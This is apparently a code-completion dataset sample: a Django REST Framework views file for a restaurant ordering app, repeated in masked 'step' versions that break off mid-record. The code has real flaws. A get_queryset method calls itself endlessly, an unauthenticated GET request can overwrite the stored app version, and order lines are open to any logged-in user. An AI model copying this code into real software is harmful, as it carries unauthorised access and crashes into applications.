queryset.filter(~Q(discount=0)).order_by('-created_at' ) serializer = self.get_serializer(special_offers, many=True) return Response(serializer.data) @action(['get'], detail=False, url_path='recommended-offers') def recommended_offers(self, request, *args, **kwargs): queryset = self.get_queryset() recommended = queryset.all().order_by('-created_at') serializer = self.get_serializer(recommended, many=True) return Response(serializer.data) class OrderViewSet(ModelViewSet): serializer_class = OrderWRestaurantSerializer permission_classes = [permissions.IsAuthenticated] queryset = Order.objects.all().order_by('-created_at') def get_serializer(self, *args, **kwargs): if self.action == 'create': return OrderSerializer(*args, **kwargs) return super(OrderViewSet, self).get_serializer(*args, **kwargs) def get_queryset(self): return super(OrderViewSet, self).get_queryset().filter(client=self. request.user.client) def create(self, request, *args, **kwargs): fixer = RequestDataFixer(request=request) return super(OrderViewSet, self).create(fixer, *args, **kwargs) class OrderLineViewSet(ModelViewSet): serializer_class = OrderLineSerializer permission_classes = [permissions.IsAuthenticatedOrReadOnly] queryset = OrderLine.objects.all() class WilayaViewSet(ModelViewSet): serializer_class = WilayaSerializer permission_classes = [my_perms.IsAdminOrReadOnly] queryset = Wilaya.objects.all() class CityViewSet(ModelViewSet): serializer_class = CitySerializer permission_classes = [my_perms.IsAdminOrReadOnly] queryset = City.objects.all() <|reserved_special_token_0|> class AddressViewSet(ModelViewSet): serializer_class = AddressSerializer permission_classes = [permissions.IsAuthenticatedOrReadOnly] queryset = Address.objects.all() @action(['PUT'], detail=True, url_path='set-default', url_name= 'set-default') def set_default(self, request, *args, **kwargs): instance = self.get_object() instance.default = True instance.save() self.get_queryset().filter(~Q(pk=instance.pk), belongs_to=request. user.client).update(default=False) return Response(self.get_serializer(instance).data) @action(['PUT'], detail=False, url_path='set-main', url_name='set-main') def set_main(self, request, *args, **kwargs): self.get_queryset().filter(belongs_to=request.user.client).update( default=False) return Response({'status': True}) def get_queryset(self): return super(AddressViewSet, self).get_queryset().filter(belongs_to =self.request.user.client) class PhoneViewSet(ModelViewSet): permission_classes = [permissions.IsAuthenticatedOrReadOnly] serializer_class = PhoneSerializer queryset = Phone.objects.all() @action(['PUT'], detail=False, url_path='set-main', url_name='set-main') def set_main(self, request, *args, **kwargs): self.get_queryset().filter(user=request.user).update(default=False) return Response({'status': True}) @action(['PUT'], detail=True, url_path='set-default', url_name= 'set-default') def set_default(self, request, *args, **kwargs): instance = self.get_object() instance.default = True instance.save() self.get_queryset().filter(~Q(pk=instance.pk), user=request.user ).update(default=False) return Response(self.get_serializer(instance).data) def get_queryset(self): return self.get_queryset().filter(user=self.request.user) <|reserved_special_token_1|> from django.db.models import Q, Avg from django.http import JsonResponse from rest_framework import permissions from rest_framework.authtoken.models import Token from rest_framework.authtoken.views import ObtainAuthToken from rest_framework.decorators import action from rest_framework.response import Response from rest_framework.views import APIView from rest_framework.viewsets import ModelViewSet from base_backend import permissions as my_perms from base_backend.utils import RequestDataFixer from restaurants.models import User, Cuisine, MealType, AppVersion, RestaurantType, Restaurant, Menu, Order, OrderLine, \ Wilaya, City, Address, Phone from restaurants.serializers import UserSerializer, SmsConfirmationSerializer, CuisineSerializer, \ RestaurantTypeSerializer, RestaurantSerializer, MenuSerializer, OrderLineSerializer, WilayaSerializer, \ CitySerializer, OrderWRestaurantSerializer, MealTypesWithMenuSerializer, MealTypeSerializer, OrderSerializer, \ AddressSerializer, PhoneSerializer class LoginApi(ObtainAuthToken): def post(self, request, *args, **kwargs): serializer = self.serializer_class(data=request.data, context=dict(request=request)) serializer.is_valid(raise_exception=True) user = serializer.validated_data['user'] token, created = Token.objects.get_or_create(user=user) return Response( dict( token=token.key, user_id=user.pk, phone=user.phone, email=user.email, type=user.user_type, photo=user.photo.url if user.photo else None, address=user.address, city=user.lives_in_id, birth_date=user.birth_date, username=user.username, # is_participant=user.client.is_participant if user.client is not None else None, # participant_id=user.client.participant.participant_id if user.client else None, ) ) class UserViewSet(ModelViewSet): serializer_class = UserSerializer queryset = User.objects.filter(is_active=True) def get_permissions(self): if self.action == 'create' or self.action == 'register': return [permissions.AllowAny()] else: return [permissions.IsAuthenticatedOrReadOnly()] @action(methods=['post'], detail=False, url_path='register', permission_classes=[permissions.AllowAny()]) def register(self, request, *args, **kwargs): response = super().create(request, *args, **kwargs) if response: response.data = dict(status=True, code=4) return response def create(self, request, *args, **kwargs): return self.register(request, *args, **kwargs) class OtpApi(APIView): permission_classes = [permissions.AllowAny] def get(self, request): serializer = SmsConfirmationSerializer(data=request.GET) result = serializer.resend() if result: response = dict(status=True, code=5) else: response = dict(status=False, code=21) return Response(response) def put(self, request): serializer = SmsConfirmationSerializer(data=request.data) result = serializer.activate() if result: response = dict(status=True, code=5) else: response = dict(status=False, code=20) return Response(response) class CuisineViewSet(ModelViewSet): serializer_class = CuisineSerializer permission_classes = [my_perms.IsAdminOrReadOnly] queryset = Cuisine.objects.all() class MealTypeViewSet(ModelViewSet): permission_classes = [my_perms.IsAdminOrReadOnly] serializer_class = MealTypeSerializer queryset = MealType.objects.all() def get_serializer(self, *args, **kwargs): if self.action == "get_types_with_menus": serializer_class = MealTypesWithMenuSerializer kwargs['context'] = self.get_serializer_context() return serializer_class(*args, **kwargs) return super(MealTypeViewSet, self).get_serializer(*args, **kwargs) @action(['get'], detail=False, url_path="type-with-menus", ) def get_types_with_menus(self, request, *args, **kwargs): types = self.get_queryset().filter(menus__offered_by=request.query_params.get('restaurant', 0)) types = self.get_serializer(types, many=True).data return Response(types) class RestaurantTypeViewSet(ModelViewSet): serializer_class = RestaurantTypeSerializer permission_classes = [my_perms.IsAdminOrReadOnly] queryset = RestaurantType.objects.all() class RestaurantViewSet(ModelViewSet): serializer_class = RestaurantSerializer permission_classes = [permissions.IsAuthenticatedOrReadOnly] queryset = Restaurant.objects.all() def _get_recommended_restaurants(self) -> queryset: queryset = self.get_queryset() recommended = queryset.all().annotate(rates_avg=Avg('rates__stars')) return recommended def _get_special_restaurants(self) -> queryset: queryset = self.get_queryset() special_offers_restaurants = queryset.filter(Q(menus__discount__gt=0) | Q(on_special_day=True)) return special_offers_restaurants @action(['get'], detail=False, url_path="get-home") def home(self, request, *args, **kwargs): recommended = self._get_recommended_restaurants().order_by('?')[:5] special = self._get_special_restaurants().order_by('?')[:5] all_restaurants = self.get_queryset().order_by('?')[:5] recommended = self.get_serializer(recommended, many=True).data special = self.get_serializer(special, many=True).data all_restaurants = self.get_serializer(all_restaurants, many=True).data response = { 'recommended': recommended, 'special': special, 'all': all_restaurants } return Response(response) @action(['get'], detail=False, url_path="special-offers") def special_offers(self, request, *args, **kwargs): serializer = self.get_serializer(self._get_special_restaurants().order_by('-created_at'), many=True) return Response(serializer.data) @action(['get'], detail=False, url_path="recommended-offers") def recommended_offers(self, request, *args, **kwargs): serializer = self.get_serializer(self._get_recommended_restaurants().order_by('-rates_avg'), many=True) return Response(serializer.data) @action(['get'], detail=True, url_path="restaurant-menus") def get_restaurant_menus(self, request, *args, **kwargs): categorized_menus = Menu.objects.grouped_by_meal_type_for_a_restaurant(restaurant_id=self.kwargs.get('pk')) return Response(categorized_menus) class MenuViewSet(ModelViewSet): serializer_class = MenuSerializer permission_classes = [permissions.IsAuthenticatedOrReadOnly] queryset = Menu.objects.all() @action(['get'], detail=False, url_path="get-home") def home(self, request, *args, **kwargs): queryset = self.get_queryset() special_offers = queryset.filter(~Q(discount=0)).order_by('?')[:5] recommended = queryset.all().order_by('?')[:5] special_offers = self.get_serializer(special_offers, many=True).data recommended = self.get_serializer(recommended, many=True).data response = { 'recommended': recommended, 'special_offers': special_offers } return Response(data=response) @action(['get'], detail=False, url_path="special-offers") def special_offers(self, request, *args, **kwargs): queryset = self.get_queryset() special_offers = queryset.filter(~Q(discount=0)).order_by('-created_at') serializer = self.get_serializer(special_offers, many=True) return Response(serializer.data) @action(['get'], detail=False, url_path="recommended-offers") def recommended_offers(self, request, *args, **kwargs): queryset = self.get_queryset() recommended = queryset.all().order_by('-created_at') serializer = self.get_serializer(recommended, many=True) return Response(serializer.data) class OrderViewSet(ModelViewSet): serializer_class = OrderWRestaurantSerializer permission_classes = [permissions.IsAuthenticated] queryset = Order.objects.all().order_by('-created_at') def get_serializer(self, *args, **kwargs): if self.action == "create": return OrderSerializer(*args, **kwargs) return super(OrderViewSet, self).get_serializer(*args, **kwargs) def get_queryset(self): return super(OrderViewSet, self).get_queryset().filter(client=self.request.user.client) def create(self, request, *args, **kwargs): fixer = RequestDataFixer(request=request) return super(OrderViewSet, self).create(fixer, *args, **kwargs) class OrderLineViewSet(ModelViewSet): serializer_class = OrderLineSerializer permission_classes = [permissions.IsAuthenticatedOrReadOnly] queryset = OrderLine.objects.all() class WilayaViewSet(ModelViewSet): serializer_class = WilayaSerializer permission_classes = [my_perms.IsAdminOrReadOnly] queryset = Wilaya.objects.all() class CityViewSet(ModelViewSet): serializer_class = CitySerializer permission_classes = [my_perms.IsAdminOrReadOnly] queryset = City.objects.all() def version(request): print('inside this') if request.GET.get('code', None): code = request.GET.get('code') AppVersion.objects.all().update(code=code) return JsonResponse({'updated': True}) else: code = AppVersion.objects.all().first().code return JsonResponse({'code': code}) class AddressViewSet(ModelViewSet): serializer_class = AddressSerializer permission_classes = [permissions.IsAuthenticatedOrReadOnly] queryset = Address.objects.all() @action(['PUT'], detail=True, url_path="set-default", url_name='set-default') def set_default(self, request, *args, **kwargs): instance = self.get_object() instance.default = True instance.save() self.get_queryset().filter(~Q(pk=instance.pk), belongs_to=request.user.client).update(default=False) return Response(self.get_serializer(instance).data) @action(['PUT'], detail=False, url_path="set-main", url_name='set-main') def set_main(self, request, *args, **kwargs): self.get_queryset().filter(belongs_to=request.user.client).update(default=False) return Response({"status": True}) def get_queryset(self): return super(AddressViewSet, self).get_queryset().filter(belongs_to=self.request.user.client) class PhoneViewSet(ModelViewSet): permission_classes = [permissions.IsAuthenticatedOrReadOnly] serializer_class = PhoneSerializer queryset = Phone.objects.all() @action(['PUT'], detail=False, url_path="set-main", url_name='set-main') def set_main(self, request, *args, **kwargs): self.get_queryset().filter(user=request.user).update(default=False) return Response({"status": True}) @action(['PUT'], detail=True, url_path="set-default", url_name='set-default') def set_default(self, request, *args, **kwargs): instance = self.get_object() instance.default = True instance.save() self.get_queryset().filter(~Q(pk=instance.pk), user=request.user).update(default=False) return Response(self.get_serializer(instance).data) def get_queryset(self): return self.get_queryset().filter(user=self.request.user)

flexible

{ "blob_id": "9e8b5cebd48b3b98e421c896d9835ada5ec4166e", "index": 2740, "step-1": "<mask token>\n\n\nclass RestaurantViewSet(ModelViewSet):\n serializer_class = RestaurantSerializer\n permission_classes = [permissions.IsAuthenticatedOrReadOnly]\n queryset = Restaurant.objects.all()\n\n def _get_recommended_restaurants(self) ->queryset:\n queryset = self.get_queryset()\n recommended = queryset.all().annotate(rates_avg=Avg('rates__stars'))\n return recommended\n\n def _get_special_restaurants(self) ->queryset:\n queryset = self.get_queryset()\n special_offers_restaurants = queryset.filter(Q(menus__discount__gt=\n 0) | Q(on_special_day=True))\n return special_offers_restaurants\n\n @action(['get'], detail=False, url_path='get-home')\n def home(self, request, *args, **kwargs):\n recommended = self._get_recommended_restaurants().order_by('?')[:5]\n special = self._get_special_restaurants().order_by('?')[:5]\n all_restaurants = self.get_queryset().order_by('?')[:5]\n recommended = self.get_serializer(recommended, many=True).data\n special = self.get_serializer(special, many=True).data\n all_restaurants = self.get_serializer(all_restaurants, many=True).data\n response = {'recommended': recommended, 'special': special, 'all':\n all_restaurants}\n return Response(response)\n\n @action(['get'], detail=False, url_path='special-offers')\n def special_offers(self, request, *args, **kwargs):\n serializer = self.get_serializer(self._get_special_restaurants().\n order_by('-created_at'), many=True)\n return Response(serializer.data)\n\n @action(['get'], detail=False, url_path='recommended-offers')\n def recommended_offers(self, request, *args, **kwargs):\n serializer = self.get_serializer(self._get_recommended_restaurants(\n ).order_by('-rates_avg'), many=True)\n return Response(serializer.data)\n\n @action(['get'], detail=True, url_path='restaurant-menus')\n def get_restaurant_menus(self, request, *args, **kwargs):\n categorized_menus = Menu.objects.grouped_by_meal_type_for_a_restaurant(\n restaurant_id=self.kwargs.get('pk'))\n return Response(categorized_menus)\n\n\nclass MenuViewSet(ModelViewSet):\n serializer_class = MenuSerializer\n permission_classes = [permissions.IsAuthenticatedOrReadOnly]\n queryset = Menu.objects.all()\n\n @action(['get'], detail=False, url_path='get-home')\n def home(self, request, *args, **kwargs):\n queryset = self.get_queryset()\n special_offers = queryset.filter(~Q(discount=0)).order_by('?')[:5]\n recommended = queryset.all().order_by('?')[:5]\n special_offers = self.get_serializer(special_offers, many=True).data\n recommended = self.get_serializer(recommended, many=True).data\n response = {'recommended': recommended, 'special_offers':\n special_offers}\n return Response(data=response)\n\n @action(['get'], detail=False, url_path='special-offers')\n def special_offers(self, request, *args, **kwargs):\n queryset = self.get_queryset()\n special_offers = queryset.filter(~Q(discount=0)).order_by('-created_at'\n )\n serializer = self.get_serializer(special_offers, many=True)\n return Response(serializer.data)\n\n @action(['get'], detail=False, url_path='recommended-offers')\n def recommended_offers(self, request, *args, **kwargs):\n queryset = self.get_queryset()\n recommended = queryset.all().order_by('-created_at')\n serializer = self.get_serializer(recommended, many=True)\n return Response(serializer.data)\n\n\nclass OrderViewSet(ModelViewSet):\n serializer_class = OrderWRestaurantSerializer\n permission_classes = [permissions.IsAuthenticated]\n queryset = Order.objects.all().order_by('-created_at')\n\n def get_serializer(self, *args, **kwargs):\n if self.action == 'create':\n return OrderSerializer(*args, **kwargs)\n return super(OrderViewSet, self).get_serializer(*args, **kwargs)\n\n def get_queryset(self):\n return super(OrderViewSet, self).get_queryset().filter(client=self.\n request.user.client)\n\n def create(self, request, *args, **kwargs):\n fixer = RequestDataFixer(request=request)\n return super(OrderViewSet, self).create(fixer, *args, **kwargs)\n\n\nclass OrderLineViewSet(ModelViewSet):\n serializer_class = OrderLineSerializer\n permission_classes = [permissions.IsAuthenticatedOrReadOnly]\n queryset = OrderLine.objects.all()\n\n\nclass WilayaViewSet(ModelViewSet):\n serializer_class = WilayaSerializer\n permission_classes = [my_perms.IsAdminOrReadOnly]\n queryset = Wilaya.objects.all()\n\n\nclass CityViewSet(ModelViewSet):\n serializer_class = CitySerializer\n permission_classes = [my_perms.IsAdminOrReadOnly]\n queryset = City.objects.all()\n\n\n<mask token>\n\n\nclass AddressViewSet(ModelViewSet):\n serializer_class = AddressSerializer\n permission_classes = [permissions.IsAuthenticatedOrReadOnly]\n queryset = Address.objects.all()\n\n @action(['PUT'], detail=True, url_path='set-default', url_name=\n 'set-default')\n def set_default(self, request, *args, **kwargs):\n instance = self.get_object()\n instance.default = True\n instance.save()\n self.get_queryset().filter(~Q(pk=instance.pk), belongs_to=request.\n user.client).update(default=False)\n return Response(self.get_serializer(instance).data)\n\n @action(['PUT'], detail=False, url_path='set-main', url_name='set-main')\n def set_main(self, request, *args, **kwargs):\n self.get_queryset().filter(belongs_to=request.user.client).update(\n default=False)\n return Response({'status': True})\n\n def get_queryset(self):\n return super(AddressViewSet, self).get_queryset().filter(belongs_to\n =self.request.user.client)\n\n\nclass PhoneViewSet(ModelViewSet):\n permission_classes = [permissions.IsAuthenticatedOrReadOnly]\n serializer_class = PhoneSerializer\n queryset = Phone.objects.all()\n\n @action(['PUT'], detail=False, url_path='set-main', url_name='set-main')\n def set_main(self, request, *args, **kwargs):\n self.get_queryset().filter(user=request.user).update(default=False)\n return Response({'status': True})\n\n @action(['PUT'], detail=True, url_path='set-default', url_name=\n 'set-default')\n def set_default(self, request, *args, **kwargs):\n instance = self.get_object()\n instance.default = True\n instance.save()\n self.get_queryset().filter(~Q(pk=instance.pk), user=request.user\n ).update(default=False)\n return Response(self.get_serializer(instance).data)\n\n def get_queryset(self):\n return self.get_queryset().filter(user=self.request.user)\n", "step-2": "<mask token>\n\n\nclass MealTypeViewSet(ModelViewSet):\n permission_classes = [my_perms.IsAdminOrReadOnly]\n serializer_class = MealTypeSerializer\n queryset = MealType.objects.all()\n\n def get_serializer(self, *args, **kwargs):\n if self.action == 'get_types_with_menus':\n serializer_class = MealTypesWithMenuSerializer\n kwargs['context'] = self.get_serializer_context()\n return serializer_class(*args, **kwargs)\n return super(MealTypeViewSet, self).get_serializer(*args, **kwargs)\n\n @action(['get'], detail=False, url_path='type-with-menus')\n def get_types_with_menus(self, request, *args, **kwargs):\n types = self.get_queryset().filter(menus__offered_by=request.\n query_params.get('restaurant', 0))\n types = self.get_serializer(types, many=True).data\n return Response(types)\n\n\nclass RestaurantTypeViewSet(ModelViewSet):\n serializer_class = RestaurantTypeSerializer\n permission_classes = [my_perms.IsAdminOrReadOnly]\n queryset = RestaurantType.objects.all()\n\n\nclass RestaurantViewSet(ModelViewSet):\n serializer_class = RestaurantSerializer\n permission_classes = [permissions.IsAuthenticatedOrReadOnly]\n queryset = Restaurant.objects.all()\n\n def _get_recommended_restaurants(self) ->queryset:\n queryset = self.get_queryset()\n recommended = queryset.all().annotate(rates_avg=Avg('rates__stars'))\n return recommended\n\n def _get_special_restaurants(self) ->queryset:\n queryset = self.get_queryset()\n special_offers_restaurants = queryset.filter(Q(menus__discount__gt=\n 0) | Q(on_special_day=True))\n return special_offers_restaurants\n\n @action(['get'], detail=False, url_path='get-home')\n def home(self, request, *args, **kwargs):\n recommended = self._get_recommended_restaurants().order_by('?')[:5]\n special = self._get_special_restaurants().order_by('?')[:5]\n all_restaurants = self.get_queryset().order_by('?')[:5]\n recommended = self.get_serializer(recommended, many=True).data\n special = self.get_serializer(special, many=True).data\n all_restaurants = self.get_serializer(all_restaurants, many=True).data\n response = {'recommended': recommended, 'special': special, 'all':\n all_restaurants}\n return Response(response)\n\n @action(['get'], detail=False, url_path='special-offers')\n def special_offers(self, request, *args, **kwargs):\n serializer = self.get_serializer(self._get_special_restaurants().\n order_by('-created_at'), many=True)\n return Response(serializer.data)\n\n @action(['get'], detail=False, url_path='recommended-offers')\n def recommended_offers(self, request, *args, **kwargs):\n serializer = self.get_serializer(self._get_recommended_restaurants(\n ).order_by('-rates_avg'), many=True)\n return Response(serializer.data)\n\n @action(['get'], detail=True, url_path='restaurant-menus')\n def get_restaurant_menus(self, request, *args, **kwargs):\n categorized_menus = Menu.objects.grouped_by_meal_type_for_a_restaurant(\n restaurant_id=self.kwargs.get('pk'))\n return Response(categorized_menus)\n\n\nclass MenuViewSet(ModelViewSet):\n serializer_class = MenuSerializer\n permission_classes = [permissions.IsAuthenticatedOrReadOnly]\n queryset = Menu.objects.all()\n\n @action(['get'], detail=False, url_path='get-home')\n def home(self, request, *args, **kwargs):\n queryset = self.get_queryset()\n special_offers = queryset.filter(~Q(discount=0)).order_by('?')[:5]\n recommended = queryset.all().order_by('?')[:5]\n special_offers = self.get_serializer(special_offers, many=True).data\n recommended = self.get_serializer(recommended, many=True).data\n response = {'recommended': recommended, 'special_offers':\n special_offers}\n return Response(data=response)\n\n @action(['get'], detail=False, url_path='special-offers')\n def special_offers(self, request, *args, **kwargs):\n queryset = self.get_queryset()\n special_offers = queryset.filter(~Q(discount=0)).order_by('-created_at'\n )\n serializer = self.get_serializer(special_offers, many=True)\n return Response(serializer.data)\n\n @action(['get'], detail=False, url_path='recommended-offers')\n def recommended_offers(self, request, *args, **kwargs):\n queryset = self.get_queryset()\n recommended = queryset.all().order_by('-created_at')\n serializer = self.get_serializer(recommended, many=True)\n return Response(serializer.data)\n\n\nclass OrderViewSet(ModelViewSet):\n serializer_class = OrderWRestaurantSerializer\n permission_classes = [permissions.IsAuthenticated]\n queryset = Order.objects.all().order_by('-created_at')\n\n def get_serializer(self, *args, **kwargs):\n if self.action == 'create':\n return OrderSerializer(*args, **kwargs)\n return super(OrderViewSet, self).get_serializer(*args, **kwargs)\n\n def get_queryset(self):\n return super(OrderViewSet, self).get_queryset().filter(client=self.\n request.user.client)\n\n def create(self, request, *args, **kwargs):\n fixer = RequestDataFixer(request=request)\n return super(OrderViewSet, self).create(fixer, *args, **kwargs)\n\n\nclass OrderLineViewSet(ModelViewSet):\n serializer_class = OrderLineSerializer\n permission_classes = [permissions.IsAuthenticatedOrReadOnly]\n queryset = OrderLine.objects.all()\n\n\nclass WilayaViewSet(ModelViewSet):\n serializer_class = WilayaSerializer\n permission_classes = [my_perms.IsAdminOrReadOnly]\n queryset = Wilaya.objects.all()\n\n\nclass CityViewSet(ModelViewSet):\n serializer_class = CitySerializer\n permission_classes = [my_perms.IsAdminOrReadOnly]\n queryset = City.objects.all()\n\n\n<mask token>\n\n\nclass AddressViewSet(ModelViewSet):\n serializer_class = AddressSerializer\n permission_classes = [permissions.IsAuthenticatedOrReadOnly]\n queryset = Address.objects.all()\n\n @action(['PUT'], detail=True, url_path='set-default', url_name=\n 'set-default')\n def set_default(self, request, *args, **kwargs):\n instance = self.get_object()\n instance.default = True\n instance.save()\n self.get_queryset().filter(~Q(pk=instance.pk), belongs_to=request.\n user.client).update(default=False)\n return Response(self.get_serializer(instance).data)\n\n @action(['PUT'], detail=False, url_path='set-main', url_name='set-main')\n def set_main(self, request, *args, **kwargs):\n self.get_queryset().filter(belongs_to=request.user.client).update(\n default=False)\n return Response({'status': True})\n\n def get_queryset(self):\n return super(AddressViewSet, self).get_queryset().filter(belongs_to\n =self.request.user.client)\n\n\nclass PhoneViewSet(ModelViewSet):\n permission_classes = [permissions.IsAuthenticatedOrReadOnly]\n serializer_class = PhoneSerializer\n queryset = Phone.objects.all()\n\n @action(['PUT'], detail=False, url_path='set-main', url_name='set-main')\n def set_main(self, request, *args, **kwargs):\n self.get_queryset().filter(user=request.user).update(default=False)\n return Response({'status': True})\n\n @action(['PUT'], detail=True, url_path='set-default', url_name=\n 'set-default')\n def set_default(self, request, *args, **kwargs):\n instance = self.get_object()\n instance.default = True\n instance.save()\n self.get_queryset().filter(~Q(pk=instance.pk), user=request.user\n ).update(default=False)\n return Response(self.get_serializer(instance).data)\n\n def get_queryset(self):\n return self.get_queryset().filter(user=self.request.user)\n", "step-3": "<mask token>\n\n\nclass CuisineViewSet(ModelViewSet):\n <mask token>\n <mask token>\n <mask token>\n\n\nclass MealTypeViewSet(ModelViewSet):\n permission_classes = [my_perms.IsAdminOrReadOnly]\n serializer_class = MealTypeSerializer\n queryset = MealType.objects.all()\n\n def get_serializer(self, *args, **kwargs):\n if self.action == 'get_types_with_menus':\n serializer_class = MealTypesWithMenuSerializer\n kwargs['context'] = self.get_serializer_context()\n return serializer_class(*args, **kwargs)\n return super(MealTypeViewSet, self).get_serializer(*args, **kwargs)\n\n @action(['get'], detail=False, url_path='type-with-menus')\n def get_types_with_menus(self, request, *args, **kwargs):\n types = self.get_queryset().filter(menus__offered_by=request.\n query_params.get('restaurant', 0))\n types = self.get_serializer(types, many=True).data\n return Response(types)\n\n\nclass RestaurantTypeViewSet(ModelViewSet):\n serializer_class = RestaurantTypeSerializer\n permission_classes = [my_perms.IsAdminOrReadOnly]\n queryset = RestaurantType.objects.all()\n\n\nclass RestaurantViewSet(ModelViewSet):\n serializer_class = RestaurantSerializer\n permission_classes = [permissions.IsAuthenticatedOrReadOnly]\n queryset = Restaurant.objects.all()\n\n def _get_recommended_restaurants(self) ->queryset:\n queryset = self.get_queryset()\n recommended = queryset.all().annotate(rates_avg=Avg('rates__stars'))\n return recommended\n\n def _get_special_restaurants(self) ->queryset:\n queryset = self.get_queryset()\n special_offers_restaurants = queryset.filter(Q(menus__discount__gt=\n 0) | Q(on_special_day=True))\n return special_offers_restaurants\n\n @action(['get'], detail=False, url_path='get-home')\n def home(self, request, *args, **kwargs):\n recommended = self._get_recommended_restaurants().order_by('?')[:5]\n special = self._get_special_restaurants().order_by('?')[:5]\n all_restaurants = self.get_queryset().order_by('?')[:5]\n recommended = self.get_serializer(recommended, many=True).data\n special = self.get_serializer(special, many=True).data\n all_restaurants = self.get_serializer(all_restaurants, many=True).data\n response = {'recommended': recommended, 'special': special, 'all':\n all_restaurants}\n return Response(response)\n\n @action(['get'], detail=False, url_path='special-offers')\n def special_offers(self, request, *args, **kwargs):\n serializer = self.get_serializer(self._get_special_restaurants().\n order_by('-created_at'), many=True)\n return Response(serializer.data)\n\n @action(['get'], detail=False, url_path='recommended-offers')\n def recommended_offers(self, request, *args, **kwargs):\n serializer = self.get_serializer(self._get_recommended_restaurants(\n ).order_by('-rates_avg'), many=True)\n return Response(serializer.data)\n\n @action(['get'], detail=True, url_path='restaurant-menus')\n def get_restaurant_menus(self, request, *args, **kwargs):\n categorized_menus = Menu.objects.grouped_by_meal_type_for_a_restaurant(\n restaurant_id=self.kwargs.get('pk'))\n return Response(categorized_menus)\n\n\nclass MenuViewSet(ModelViewSet):\n serializer_class = MenuSerializer\n permission_classes = [permissions.IsAuthenticatedOrReadOnly]\n queryset = Menu.objects.all()\n\n @action(['get'], detail=False, url_path='get-home')\n def home(self, request, *args, **kwargs):\n queryset = self.get_queryset()\n special_offers = queryset.filter(~Q(discount=0)).order_by('?')[:5]\n recommended = queryset.all().order_by('?')[:5]\n special_offers = self.get_serializer(special_offers, many=True).data\n recommended = self.get_serializer(recommended, many=True).data\n response = {'recommended': recommended, 'special_offers':\n special_offers}\n return Response(data=response)\n\n @action(['get'], detail=False, url_path='special-offers')\n def special_offers(self, request, *args, **kwargs):\n queryset = self.get_queryset()\n special_offers = queryset.filter(~Q(discount=0)).order_by('-created_at'\n )\n serializer = self.get_serializer(special_offers, many=True)\n return Response(serializer.data)\n\n @action(['get'], detail=False, url_path='recommended-offers')\n def recommended_offers(self, request, *args, **kwargs):\n queryset = self.get_queryset()\n recommended = queryset.all().order_by('-created_at')\n serializer = self.get_serializer(recommended, many=True)\n return Response(serializer.data)\n\n\nclass OrderViewSet(ModelViewSet):\n serializer_class = OrderWRestaurantSerializer\n permission_classes = [permissions.IsAuthenticated]\n queryset = Order.objects.all().order_by('-created_at')\n\n def get_serializer(self, *args, **kwargs):\n if self.action == 'create':\n return OrderSerializer(*args, **kwargs)\n return super(OrderViewSet, self).get_serializer(*args, **kwargs)\n\n def get_queryset(self):\n return super(OrderViewSet, self).get_queryset().filter(client=self.\n request.user.client)\n\n def create(self, request, *args, **kwargs):\n fixer = RequestDataFixer(request=request)\n return super(OrderViewSet, self).create(fixer, *args, **kwargs)\n\n\nclass OrderLineViewSet(ModelViewSet):\n serializer_class = OrderLineSerializer\n permission_classes = [permissions.IsAuthenticatedOrReadOnly]\n queryset = OrderLine.objects.all()\n\n\nclass WilayaViewSet(ModelViewSet):\n serializer_class = WilayaSerializer\n permission_classes = [my_perms.IsAdminOrReadOnly]\n queryset = Wilaya.objects.all()\n\n\nclass CityViewSet(ModelViewSet):\n serializer_class = CitySerializer\n permission_classes = [my_perms.IsAdminOrReadOnly]\n queryset = City.objects.all()\n\n\n<mask token>\n\n\nclass AddressViewSet(ModelViewSet):\n serializer_class = AddressSerializer\n permission_classes = [permissions.IsAuthenticatedOrReadOnly]\n queryset = Address.objects.all()\n\n @action(['PUT'], detail=True, url_path='set-default', url_name=\n 'set-default')\n def set_default(self, request, *args, **kwargs):\n instance = self.get_object()\n instance.default = True\n instance.save()\n self.get_queryset().filter(~Q(pk=instance.pk), belongs_to=request.\n user.client).update(default=False)\n return Response(self.get_serializer(instance).data)\n\n @action(['PUT'], detail=False, url_path='set-main', url_name='set-main')\n def set_main(self, request, *args, **kwargs):\n self.get_queryset().filter(belongs_to=request.user.client).update(\n default=False)\n return Response({'status': True})\n\n def get_queryset(self):\n return super(AddressViewSet, self).get_queryset().filter(belongs_to\n =self.request.user.client)\n\n\nclass PhoneViewSet(ModelViewSet):\n permission_classes = [permissions.IsAuthenticatedOrReadOnly]\n serializer_class = PhoneSerializer\n queryset = Phone.objects.all()\n\n @action(['PUT'], detail=False, url_path='set-main', url_name='set-main')\n def set_main(self, request, *args, **kwargs):\n self.get_queryset().filter(user=request.user).update(default=False)\n return Response({'status': True})\n\n @action(['PUT'], detail=True, url_path='set-default', url_name=\n 'set-default')\n def set_default(self, request, *args, **kwargs):\n instance = self.get_object()\n instance.default = True\n instance.save()\n self.get_queryset().filter(~Q(pk=instance.pk), user=request.user\n ).update(default=False)\n return Response(self.get_serializer(instance).data)\n\n def get_queryset(self):\n return self.get_queryset().filter(user=self.request.user)\n", "step-4": "<mask token>\n\n\nclass CuisineViewSet(ModelViewSet):\n serializer_class = CuisineSerializer\n permission_classes = [my_perms.IsAdminOrReadOnly]\n queryset = Cuisine.objects.all()\n\n\nclass MealTypeViewSet(ModelViewSet):\n permission_classes = [my_perms.IsAdminOrReadOnly]\n serializer_class = MealTypeSerializer\n queryset = MealType.objects.all()\n\n def get_serializer(self, *args, **kwargs):\n if self.action == 'get_types_with_menus':\n serializer_class = MealTypesWithMenuSerializer\n kwargs['context'] = self.get_serializer_context()\n return serializer_class(*args, **kwargs)\n return super(MealTypeViewSet, self).get_serializer(*args, **kwargs)\n\n @action(['get'], detail=False, url_path='type-with-menus')\n def get_types_with_menus(self, request, *args, **kwargs):\n types = self.get_queryset().filter(menus__offered_by=request.\n query_params.get('restaurant', 0))\n types = self.get_serializer(types, many=True).data\n return Response(types)\n\n\nclass RestaurantTypeViewSet(ModelViewSet):\n serializer_class = RestaurantTypeSerializer\n permission_classes = [my_perms.IsAdminOrReadOnly]\n queryset = RestaurantType.objects.all()\n\n\nclass RestaurantViewSet(ModelViewSet):\n serializer_class = RestaurantSerializer\n permission_classes = [permissions.IsAuthenticatedOrReadOnly]\n queryset = Restaurant.objects.all()\n\n def _get_recommended_restaurants(self) ->queryset:\n queryset = self.get_queryset()\n recommended = queryset.all().annotate(rates_avg=Avg('rates__stars'))\n return recommended\n\n def _get_special_restaurants(self) ->queryset:\n queryset = self.get_queryset()\n special_offers_restaurants = queryset.filter(Q(menus__discount__gt=\n 0) | Q(on_special_day=True))\n return special_offers_restaurants\n\n @action(['get'], detail=False, 